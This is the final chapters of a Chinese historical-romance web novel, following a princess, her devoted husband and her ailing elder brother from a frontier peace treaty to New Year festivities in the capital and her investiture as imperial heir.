她佯装风轻云淡，实则不断在心中给自己铺垫，做好逼迫自己接受最坏结果的打算。那日夏侯承和大夏国主的来使谈判，依稀中她已经听到大庆大皇子已废之类的话语。
李序泽张了张嘴，喉咙干涩，望向元辞章，无力道：“伯怀帮我说吧。”
元辞章眉眼一冷，这是准备拉他下水，一道共沉沦啊。
李序泽在心中小声道歉，与其独自承受李意清的气愤与伤心，倒不如现在拉一个人共同承担。
李意清转头看向元辞章，声音低落了下来，“元辞章，你也知道吗？”
元辞章脸上带上几分诧异，眉心微拧，语气满是疑惑：“大殿下要说给意清的话，我怎么会知道？”
李序泽：“……”
当真一条油光水亮的老狐狸，一点火星子都不肯让自己沾到。
李意清又问了一遍，“当真不知道？”
说完，似乎觉得不妥当，又补充道，“你如果说真的不知道，我信你。”
李序泽在组织语言的时候忍不住在心底想，老狐狸听到这样的话，会不会愧疚死。
元辞章道：“想起了一点了。彼时意清你还在病着，我需要照看你，便没有细听皇兄的话。现在想来，皇兄当时说……”
他不着痕迹地改了自己对李序泽的称呼，与李意清同用“皇兄”这个称呼，这样听来，两人才是站在同一边的。
李意清追问：“说了什么？”
元辞章斟酌一番，注视着李意清的双眸道：“皇兄的腿疾并未痊愈，他为了止痛，服用寒食散。”
“什么！寒食散！”李意清惊呼一声，身子一个踉跄，往后倒退几步，“这样大的事情，怎么不趁我一早醒来就说。”
又难以置信地看着李序泽，声音颤抖：“皇兄，你……”
元辞章搀扶着她，声音幽幽，“是啊，这么大的事情，怎么不早点告诉家人。”
李序泽第一次感受到正面对上元辞章是何等难缠。他反应迅速，词句稍变，便给人截然不同的感觉，更善于将心比心，调动情绪。
自己在他面前，着实讨不到好处。
最难的一句已经说了。李序泽清了清嗓子，温和地看着李意清，“当时不说，是怕意清你担心。你别怪伯怀不与你说，他知晓后已经替你教训我，让我亲口与你讲清楚这件事。”
李意清摇着脑袋，倚靠在元辞章的怀中，纤长的眼睫上挂上一丝晶莹。
她身上还被包成粽子，方才的踉跄，身上泛起密密麻麻的疼痛，一时间分不清心中和身上哪里更痛。
寒食散本是前朝贵族寻欢作乐的东西，令人飘然成瘾，忘却疼痛与世俗忧愁。一日不得，如虫蚁蚀骨，生不如死。
李序泽心中滞了一口气，看见她这般神伤，忍不住强撑笑颜，“乖意清，别担心，等战事平定，皇兄便戒了寒食散，以后粗粮五谷，努力餐饭。”
他像哄着年幼时候意清一样，伸手刮了刮她的鼻尖，“难道意清不相信，皇兄有这般毅力吗？”
李意清原先尚且还能忍住，见李序泽的动作，鼻尖酸涩得厉害，一滴眼泪滴在李序泽没收回去的指尖。
她哽咽道：“我相信皇兄。”
元辞章将她搂得更紧了些。李意清的肩上包扎着伤口，怕她不小心眼泪滴落在上面，他主动将自己的衣襟送上去，任温热的眼泪沾在自己的衣裳上。
他轻轻拍着埋在自己怀中的李意清，一边冷冷的望着李序泽。
帐中无风，李序泽打了一个寒战，读懂了元辞章眼中的意思。
你完了。
李序泽忽然有些怀念当年金榜题名，尚且年轻稚嫩的元辞章。
现在的元辞章，像是那些为官做宰几十年的臣子，看着淡然无争，可是一旦牵扯到李意清，瞬间变得深不可测。
李意清服下汤药。汤药有助眠的效果，临睡前，她紧紧望着李序泽，“皇兄答应的，一定要做到。”
李序泽点了点头。
他起身准备离开，背后响起了元辞章平静的声音。
“大殿下，意清不能再伤心了。”
言外之意，如果只靠自己做不到，他不介意出手帮忙。
李序泽有些牙酸，李意清一睡着，他口中的称呼立刻恢复成冷冰冰的“大殿下”。
元辞章这人，面对除了李意清之外的人，当真装都不愿意装。
李序泽心中思绪万千，但说出口后，原先积压在自己心上的压力仿佛有了释放的地方，连脚步都轻松了许多。
*
半个月，大军稳步推进，失去了主帅的大夏军队士气低迷，又连遭惨败，无心再战。
一路推进到银州、西庆地界，大夏派出使臣和谈。
打战的事情将军拿手，和谈的事情则交给文臣舌战群儒。军营将士哼着草原小调，搬迁营帐
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往前驻扎。
边界线西移，从盛大将军到伙房都喜气洋洋。
雨季一过，草原转眼入秋，盛蝉口中叼着一根狗尾巴草，带着李意清在银州西庆四处转悠。
“那日初到银州，黑云密布，空气压抑。我带军在外叫阵，却无一人回应！后来派出斥候打探，才知晓他们听说我们军队过来，守城主将闻风丧胆，忙不迭跑了！当真可笑！”
盛蝉绘声绘色地描述那一日的战况，说起银州守城不战而逃，眼底尽是鄙夷。
城在人在，城亡人亡。不战而逃，弃城不顾，按照大庆军律，可处极刑。
那守城将军估计也是害怕受到大夏国主惩戒，混入茫茫人海，再也找不到踪迹。
李意清亦然觉得守城的将军不是什么好东西，她走在银州的街道上。银州的百姓受大夏管辖多年，对大庆人并不亲近。
见他们在街道上走动，只敢躲在门后面偷偷张望。
盛蝉道：“这还算好了。意清你不知道，我刚来银州的时候，百姓视我们如洪水猛兽，现在好歹能和平共处了。”
字面上的意思，谁也不搭理谁，勉强过日子。
有一个小孩的哭声传来，李意清顿住脚步，循声望去，只见一个小孩子站在磨坊后面，哭得上气不接下气。
李意清抬步欲走，盛蝉本想劝阻，但是转念一想，闭上了嘴。
小孩往后瑟缩，李意清用帕子擦干他的眼泪，将从茴香那里顺过来的糖放入他黑黢黢的掌心。
“别哭了。”李意清拍了拍小孩的背。
小孩闻到糖的甜味，登时睁大了眼睛，满是惊喜。
再一抬头，只见方才送他糖的姐姐，已经转身离开，走到她同伴的身边。
盛蝉望着小孩攥着糖就跑，没好气与李意清道：“大夏虽占据了银州，对并不重视，你看，你对他们好，他们也不记得。”
李意清剥开糖纸，将里面黄澄澄的糖放入盛蝉的口中。
甜蜜的柑橘味在味蕾上迸发，盛蝉眨了眨眼睛，含着糖眯着眼睛笑，“我又不是小孩子……虽然在西北糖是稀罕，但小恩小惠，民拂从也。”
李意清自然没指望给孩子一颗糖就能获取银州西庆两地百姓的民心，“银州和西庆的教化，并非一日之功。等父皇圣旨下来，自然有任命到这边，到时候府衙府学捡起来，传授熙州农桑技术，自然会越来越好的。”
盛蝉点了点头：“确实急不得。”
两人逛到日暮，回到城中，听到今日使臣和大夏的商榷结果。
大夏留了一个心眼，将乌拉尔山和北海的两位将领调遣过来，负隅顽抗。故而和谈的时候大夏拖延时间，一直顾左右而言他，想要等到两位将领战胜的消息，重新商量退让土地和牲畜，可是大势已去，大夏使臣只等到了两位将军战败的消息，灰头土脸签下和约，让出邀川和青唐两座城池，于三年内交付。
另许诺二十年内，两国不生事端。互通商贸，促进往来。
盛大将军听完，当即叫来盛复银和盛复西，要他们随盛蝉一道回去祭祖，以慰老将军在天之灵。
他还需要守在西北，抽不出身，但此好消息，已然今生无憾矣。
210. 我心之人
年末的时候，银州和西庆心上人的官员陆续携家眷到位，开始广通学府，授人以农桑商贸。
李意清和李序泽一道回京，盛蝉带人祭祖，同行而归。
京城中张灯结彩，庆贺这一场持续了将近两年的战事最终取得胜利。家家户户门前挂着灯笼，燃着爆竹，铺到了十里开外。
二皇子李行渊奉命在城门迎人，他一大早就站在城门口，穿着厚重的貂皮大氅，身后林立着十多架随行的马车，很是显眼。
李意清打着哈欠下马，外头冷风瑟瑟，她怕冷，一路上缩在马车中不肯下来。
冷风乍然吹在脸上，她打了好几个哆嗦，才晃晃悠悠从元辞章的身后探出一个脑袋。
李行渊斜睨着她，哼声：“瞧你这没出息的样子。”
李意清不恼，朝他做了一个鬼脸。
等李序泽被人扶下马车，李意清在城门与要去祭祖的盛蝉分别，随皇兄们入宫。
太和殿中，顺成帝穿着素色龙袍，端坐案前。
徐钱礼站在旁边伺候笔墨茶水，看着一声不吭批着奏折的顺成帝，心底暗自发笑。
这已经是顺成帝一个时辰喝的第四杯水了。
晨起便有人报，大皇子和於光公主回来了，他立刻命人刮去数日不曾修理的胡茬，皂角松柏洗头，又换上用梅香熏过的衣裳，拾掇整齐，坐在太和殿中，频频向外看。
等侍卫派人来报，顺成帝再也坐不住，立刻站起身，一路小跑到太和殿外，站在数十步台阶上，看着言笑晏晏的兄妹三人和一门心思扑在李意清身上的元辞章。
“父皇。”李序泽最先注意到顺成帝，微微俯身，朝他施礼。
两人上次见面，已经是很久远之前的事情。
那时候，淑贵妃把持后宫，勾结朝臣，顺成帝迫于压力，废黜太子。后来淑贵妃伏诛，李序泽重新被尊为大皇子。
顺成帝喝了四杯水润嗓，可一出声，依旧沙哑得厉害，“序泽，走近些，让父皇好好看看你。”
李序泽面带微笑，缓缓抬步上前，任顺成帝打量着自己。
“父皇不必担心，儿臣一切都好。”
两人脉脉温情，李行渊站在一旁，用脚尖踢着砖石缝隙中挣扎生长的一根草。真是奇怪，寒冬腊日，竟然还能看见这么纯粹的新绿。
李意清和元辞章絮絮说着话，她伸手摸着元辞章衣服上的青竹刺绣，小声道：“父皇年纪越发大了，定然要留我们吃饭。等吃完父皇亲手捣腾出来的饭菜，我们一道去明芳斋看看新上了什么糕点。”
元辞章看着她粉白的指甲，轻声应道：“好。”
李意清歪着脑袋想了想，“还有雪月书斋和月下楼的话本，几年没在，一定出了不少新话本。”
元辞章神情微微一滞，像是想起了什么。
李意清心细，捕捉到他一瞬间的走神，追问道：“怎么了？”
元辞章面色如常，摇头浅笑：“没什么。”
旁边的李行渊再听不下去，一脚将脆弱的草尖踢断，声音震耳欲聋：“我说，你们这些话留在马车上悄悄说不行吗？非要在大殿上讲？”
就连正在交谈中的顺成帝都被这道声音吸引，看见李行渊像一只炸毛猫一样挥着爪子，摇头苦笑。
炸毛猫李行渊被玉言摁住了爪子。
李序泽亦然看见，他眸光亮泽，莞尔：“二皇弟率真可爱，虽然行事不着调，但本心可贵。”
顺成帝觑着一副发自肺腑说话的李序泽，默了半响小声道：“若是被行渊听到你讲的话，估计又要炸。”
说他可爱，还不得跟踩了猫尾巴一样。
李序泽一想也是，跟着笑了出来。笑完，神色沉沉几分，“父皇，还有些话……”
顺成帝却摆了摆手，“父皇知道，父皇知道。等今日饭后，再谈吧。”
*
回去的路上，李意清大包小包，带了一堆东西回到公主府。
公主府外面，站着一个身姿娉婷的女子。女子身穿鹅黄斗篷，头发束成弯月一样的发髻，露出一截纤细白皙的脖颈。
李意清的脚步一顿，看向元辞章。
元辞章面无表情，闷声道：“找殿下的。”
他都快记不清，李意清还在西北的时候，隔几天就能听到卫家的仆从站在公主府外大喊——公主回否？安泰否？
京城说大不大，卫家小姐日日派人到公主府外喊人，可公主又恰好不在，众人便传出了闲话。
元辞章生怕李意清回来信了百姓茶余饭后传出的闲言碎语，于是连夜收拾行囊，去了荆楚一带。
李意清：“……？”
她走近前，才发现站着的是卫婉萱。
卫婉萱一大早便站在城门外，见李意清回来，喜不自胜，朝她行了一个大礼，“臣女恭祝殿下凯旋。”
“三军功劳，我只不过去西北增长见闻，算不得什么。”李意清伸手扶她，打量着她的面容，实在称得上清丽佳人。
佳人被她扶起，面颊透着粉，一双眼眸如含秋水，波光潋滟。
“多谢殿下。”
李意清能感受到卫婉萱对她的亲近与好感，却又想不起来自己和她有什么过多的交集。
她十七岁行事无度名满京城，彼时卫婉萱尚在豆蔻年华，随后她被天子赐婚，远走江宁、舒州，迄今方归，豆蔻少女长成娉婷佳人，才名在外，名声极好。
卫婉萱目光仰慕，她年少时候就曾经看过李意清写下的各种北地游记，有时长长一段，有时候寥寥数字，大人觉得那是玩意消遣，不许她看。
越是不许，她越想看。看了，一发不可收拾，夜半时分，山河入梦。
后来公主大婚，她央求着母亲带自己看着一路红妆，公主坐在鸾撵上，一身红装，笑意盈盈。
随行的宫女手持花篮，沿途撒下花瓣朵朵。她接到了喜糖，再看去，公主已然行远。
她有过一瞬间的落寞，或许公主殿下嫁为人妇，藏于深闺，她再也看不见那样浩荡深远的文字，用灵动的笔触描绘自己所见所闻，遗憾非常。但所幸，公主殿下大婚之后，她还是她。
卫婉萱见李意清眉宇之间的疲惫，主动道：“殿下今日回来，一定辛苦了。等殿下休息好了，臣女再来请殿下安。”
她善解人意，轻声细语。说完，目不斜视离开了公主府。
一个多余的眼神都没给旁人。
李意清倒是觉得她有些意思，走到元辞章的身边，准备拉着他一道回去。
一拉，没拉动。
李意清回头看，只见元辞章神情莫名，“……方才殿下，一眼都没有看我。”
两人手还紧紧交握，元辞章看她拉着自己，不舍得甩开，一边拉着她的手，一边低声抱怨。
李意清瞬间睁大了眼睛。
元辞章想要避开她投来的视线，可是目光落在她身上，像胶水粘住，再也挪不开。
*
除夕当夜，满城火树银花。行人熙攘，神武门下热闹非凡。
李意清和元辞章在街道上闲逛，茴香中途跑出去一趟，回来后凑到李意清的耳边道：“殿下，雪月书斋的老板说，当年写书的那位先生自称江郎才尽，已经封笔不写。”
李意清有些可惜的“啊”了一声。
神武门下人来人往，李意清只可惜了一瞬，便被漫天的铁花吸引了视线。
火星点点，簇簇然如落雨缤纷。隔着铁花帘幕，映照在每个人的脸上都洋溢着温暖的笑意。
东风夜放花千树，更吹落、星如雨。宝马雕车香满路。
李意清轻吟着《青玉案》，在人群中寻找柳夕年的身影。
柳夕年来信说回京过年，约在神武门下见。
远处，人群熙攘喧嚣。
茴香双手环成圈状，向远望去，大声道：“殿下，殿下！是柳姑娘！”
李意清提着裙摆就跑了上前。
人群中，柳夕年一手拽着一个人。左手边年长些许，看着沉稳，见人纷纷朝这边望过来，似乎有些抹不开脸，用袖袍遮住自己半边脸。
右手边则年轻些，被柳夕年拽着，鬼哭狼嚎：“嗷！嫂嫂你让兄长陪你去就好了嘛！我……”
他话音未落，耳朵蓦然一痛，他泪花在眼眶里打转，再不敢造次。
赵凉心中委屈，兄长觉得时机已到，带着箱辇来京城提亲。回来途中，柳夕年说要见一位故人。
赵渚和赵凉自然欣然前往。
等到了神武门下，柳夕年才说要见的，是大庆的於光公主。
赵凉当即变了脸色，嚷嚷着要回去。
柳夕年狠狠压制住多动症般的赵凉，语气带上几分严厉，“你又没做亏心事，这么害怕做什么？”
赵凉：“……”好像有点道理。
不过他还是很惊慌，他和兄长生在北地，时不重视商贾，士农在前，商尾之，他实在没想到自己就这么突然地被拽来面见皇族。
而且还是位传闻中即将被册封帝姬的公主。
柳夕年满心都是快些见到李意清，根本没空理会赵凉千百转的思绪，她抬眸望去，在人群中见到一身新衣的李意清，双目发光，大喊道：“意清！”
喊完，又觉得不妥，连忙改口：“於光公主！”
现在李意清身份非同寻常，贵不可言。她还是谨言些好。
柳夕年喊完的刹那，李意清浑身都僵硬了，无数道视线落在她的身上。
下一刻，众人纷纷扬起手中的绢花，朝着李意清抛来，欢呼雀跃：“公主！是公主！”
“公主接到我的花了！接到我的花了！”
众人狂热的热情几乎要把李意清淹没，她往元辞章身边靠了靠。后者轻揽着她的腰肢，避开了一拥而上的人流。
趁人潮涌动，赵凉瞄准时机，从柳夕年的手中挣脱，一溜烟混入人群中跑没影了。
柳夕年气得跺脚，连带着不想给赵渚好脸色，松开他，一路挤开人群走到李意清的身边。
两人许久不见，走在前头。
元辞章朝着有些局促的赵渚微微颔首，“许久不见，赵公子别来无恙。”
柳夕年听赵家兄弟说过运药材的见闻，因此并不觉得意外。只有李意清一个人在状况外，迷茫地回头：“你们认识？”
元辞章点点头：“说来话长。前面是醉仙楼，今日便由我和殿下做东，请二位吃一餐便饭。”
柳夕年抱着李意清的胳膊，笑眯眯道：“那我们就不客气了。”
饭菜端上来前，元辞章将那夜发生的经过一五一十娓娓道来。李意清顿时觉得人生何处不相逢，点点滴滴，看似微不足道，实则命运早有安排。
吃饭的过程中，李意清一直悄悄打量着赵渚，赵渚身板挺直，拿出一种面对父母长辈询问的态度，端端正正，对答如流。
柳夕年笑眯眯地看着两人一问一答，夹菜放在李意清的碗中，“没关系，现在有你给我撑腰，赵渚就算想负我也不敢。”
赵渚附和点头：“就是就是。”
柳夕年：“嗯？你还真敢这么想？”
赵渚：“……”他噎了一下，连忙低声和柳夕年解释着什么。
李意清看得发笑，很自然地回头朝元辞章望过去。
元辞章背靠窗户而坐，外面烟火升起，桃花模样，在空中绽放，星火点点。
烟花接连升起，象征着美好祈愿的孔明灯旋转升空，孩童放着爆竹，穿街走巷，笑声阵阵……
李意清和柳夕年在望仙楼分别，回去路上，元辞章牵着她的手，没有往公主府的方向走。
“去哪里？”李意清的脸上红扑扑的，眼睛晶莹水亮，带着好奇。
元辞章：“你不是想知道闲云先生在做什么吗？”
闲云，正是《几时魂梦与君同》的写书先生。
李意清愣了一瞬，脸上嫣红更甚，伸出指尖挠着元辞章的衣袖，语气嗔怪：“闲云先生？你怎么知道的？元辞章，你是不是翻我垒成一堆的书了？”
元辞章面不改色：“毓心怕书生霉，晒书的时候偶然一瞥，我瞧见了。”
李意清：“……哼。”
元辞章在韩尚书的府门前停下，伸手叩响，门童探出头来，看见站在外面的元辞章和李意清，立刻道：“小人这就去通传老爷，公主、侍郎还请在门前稍候片刻。”
等了片刻，韩尚书韩珦匆匆赶来，亲自迎接两人，元辞章见礼后，询问道：“韩二呢？”
韩尚书和颜悦色道：“吃过年夜饭，正在房中温书。”
韩二屡试不中，靠着韩尚书的关系混了一个半职，算一个闲散衙内。韩尚书看不下去，请了大儒亲来家中教导。
韩尚书铁了心要他一鼓作气考上功名，禁了他的花销，也不许他出去，最常告诫他的一句话就是：“你看看人家元辞章。和你大小一块长大，人家是至和元年的状元，现在已是户部侍郎，再有几年，高升也未可知。你倒好，整日给我生事，教我没脸见人。”
也不知道是不是韩尚书痛心疾首的话说动了韩鹤宁，从此韩鹤宁当真沉下了性子，日日苦读，夜半三更房中灯火才熄灭。
韩尚书道：“也不急于过年。我这就去派人叫他出来，你们年轻人聊天，我和夫人出门赏花灯。”
元辞章：“不用这么麻烦，我直接去找韩二吧。”
韩尚书自然答应，任两人自便：“也好，反正你熟悉路。”
元辞章牵着李意清，一路走到韩二的院子门口。
韩尚书口中的苦读声没听着，倒是听到了韩二做贼般的窃笑声。
元辞章推开门，只见韩鹤宁快速将自己摊在桌上的话本收了起来，板着一张脸，“父亲，我今日一直在看书。”
元辞章：“看的是《战国策》？第几卷了？”
韩鹤宁瞄着书封，老神在在：“第二卷，楚策……不对，元辞章，你诓我！”
韩鹤宁迟钝了一会才反应过来声音不对，立刻跳脚，指着元辞章的鼻尖暴躁道：“我把你当兄弟，知道你和殿下处境艰难，苦读诗书，盼着助你一臂之力！你就是这么对我的？！元辞章！元伯怀！”
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>元辞章略带嫌弃地伸出一只手，紧紧按在韩鹤宁的脑门上，“意清还在呢。”
都到了这一步了，李意清还有什么不懂的。
李意清：“闲云先生？”
韩鹤宁脸上露出一丝尴尬，摸了摸鼻尖，有种被当事人发现的心虚，眼神乱飘，“……殿下也看过？”
李意清：“真是你啊？！”
闲云野鹤，她和柳夕年玩笑还说请人亲笔再写，没想到竟然是元辞章的好友。
元辞章只带人过来见一眼她心中记挂的写书先生，三人默契地没有提起书中内容。
写书的和书中两位主人公都在这里，说什么都不太对味。
当被问起为何封笔不写，韩鹤宁心如止水道：“后来伯怀……与殿下外出做官，我与你们长久不见，就是想编，也不知道该说什么了。”
他有些遗憾。毕竟《几时魂梦与君同》卖得很好，他赚了不少银钱。现在韩尚书限制了他的花销，他正愁没有进账。
元辞章见他眼珠子上下一转，立刻猜到他脑海中又憋了什么坏主意，当即一个眼神望过去，止住蠢蠢欲动的韩鹤宁。
韩鹤宁：“……”
不问就不问嘛，至于这么护犊子吗？
李意清倒是觉得有些可惜，韩鹤宁文笔缠绵缱绻，正是写话本的一把好手。如果就此封笔，倒是可惜。
“还是可以继续写的嘛。”李意清轻咳一声，压低声音道：“反正……以前编的也挺好。”
韩鹤宁怔了一下，“编？”旋即自顾自笑开，意味深长看了一眼元辞章，“嗯嗯，殿下说的对，或许我也应该试着不同的类型。”
他将书案上的《战国策》和《尔雅》移开，露出下面藏着的话本。
封面上，是一个带着斗笠、挑着酒，仰头睡在马上的江湖游侠，竹叶从他鼻尖擦过，天边云卷云舒，看上去潇洒而不羁。
李意清立刻被画面和配字吸引。
“《一剑封疆》，这可是现在京中大热的话本。上卷我已经看完了，殿下如果感兴趣，我借给殿下。”
韩鹤宁弯下腰，在书案下柜子中翻找，将《一剑封疆》上卷视若珍宝地拿了出来。
书友交流，自然是极愉快的。李意清先是道谢，旋即和他聊了起来。
元辞章第一次发现，纵使自己巧舌如簧，也不知道怎么插嘴。
明明他们说的那些话本，他也都有读过。
看来是他读的不够深入，还需自勉。
元辞章在心中打定主意。见两人滔滔不绝，大有相见恨晚的意味，伸手把李意清端了起来，“意清，夜深了，该回府了。再者，韩二还需要温书，改日再来就是。”
韩鹤宁：“小气！无耻！”
李意清莫名被人抱起来，扑腾着小腿，挣扎了一刻，又顺从本心享受着温暖的怀抱。
“韩二，那我们就先走了。等你金榜高中，我再来与你……元辞章，你走那么快做什么？书还没有拿呢！”
元辞章折返，将书收好，才重新转身离开。
几息功夫，两人消失得干干净净。韩鹤宁看着桌上的《战国策》，忽灵机一动，提笔写下一张字条，叫人送过去。
元辞章和李意清坐在马车上，后面有人在喊：“殿下，元侍郎，我们公子有字条。”
元辞章自然而然地伸手准备接过，只见小厮往后退了几步，“不是给侍郎的。”
李意清心中暗自发笑，见元辞章面无表情地“哦”了一声，故作惊讶问：“是给我的吗？”
“对对，我们公子说，要殿下亲启。”小厮点头如捣蒜。
李意清问完，似笑非笑地看着元辞章。元辞章的手勾起她的一簇头发细细把玩，像是并不在意周边发生了什么，“你看吧，我不在意。”
眼角余光却一刻不肯松懈。
“这样啊。”李意清伸手接过，展开字条，看完，笑了出来，对小厮道，“我早就知道了。”
小厮得到回复，立刻又跑回去复命。
一路上，元辞章把玩着她的发梢，偶然还会拿起来放在鼻尖嗅闻，像一只大狗，缠人又不肯直说。
李意清面含笑意，好奇元辞章什么时候才会忍不住，问她字条上写了什么。
令她意外的是，直到回到公主府，元辞章都硬生生忍住。
李意清今日走得够多了，不想走路，扑入元辞章的怀中。元辞章没有迟疑，动作已然做过千百次那般熟悉。
怀中的人笑靥如花，目光比天上月光还要皎洁明亮，她的呼吸带着馥郁的桂花甜香，钻进元辞章的鼻中。
侧脸上凉意一闪而过，李意清的唇擦过，停在元辞章的耳畔。
元辞章呼吸乱了几分。
怀中人说：“韩二说话本并不是他编的，我说我早就知道了。”
*
上元佳节刚过去，京城还沉浸在新春的慵懒之中。
大街小巷上，茶余饭后的闲谈，莫过于前几日的册封大典。十方来贺，王侯毕至，就连坐在轮椅上的大皇子都被人推上太和殿，只为亲眼见证那一幕。
公主一身华服，流光霞帔，头上美玉珠冠，翡翠宝石。然，再多锦绣珠宝，都不及她一颦一笑风采。
封帝姬，授金册。
有人唏嘘，当年只道公主行事无度，谁能想到还有朝一日，能在未来亲眼见证大庆第一位女帝的诞生。
有人感慨，公主大婚时曾被驸马赞为瑶姬，当真是从前自己眼拙，不可得见明珠。
还有人在朱雀大街见到排场，极尽腹中笔墨描绘当日之盛况何等辉煌盛大，公主在婢女的拥簇下何等夺目耀眼。听到的人时不时发出一声惊呼，竭尽全力想象当日景象。
同去者点头附和，没去者满是遗憾。
半月时间过去，仍旧为众人津津乐道。
众人谈论，却不带贬义，毕竟公主这些年所作所为，他们看在心底，记在心底。
百姓从不辜负贤明。
身为话题中心的帝姬却两耳不闻窗外事。顺成帝将元府重新赠与她，她趁夜独上阁楼。
那里是元府最高的地方，下面就是元辞章的书房。上面有日晷罗盘，杂七杂八摆放着一堆东西。
长久无人打理，积盖着厚厚一层灰。
帝姬沿着书架走动，看见一排低矮一些的书架矗立后面，朱红色的漆有些斑驳，上面的书册却被人极尽呵护珍惜，防尘香樟一应俱全。
她指尖划过一本书册，伸手抽出翻开，字字句句，都是她。
再打开第二本，也是她。
第三本，第四本……
甚至能看出到成婚当年，许诺写她的诗词。
“唯恐词不达意，不能抒心中情意。”
“从前竟不知，吾当一懦夫。”
……
那是十八岁少年就开始记录的册子，封面上字迹已成风骨，提笔潇洒，牵丝勾连，唯有四个字端端正正。光是从落笔笔触，都能看出当时少年何等认真虔诚。
少年写的是：我心之人。
【完】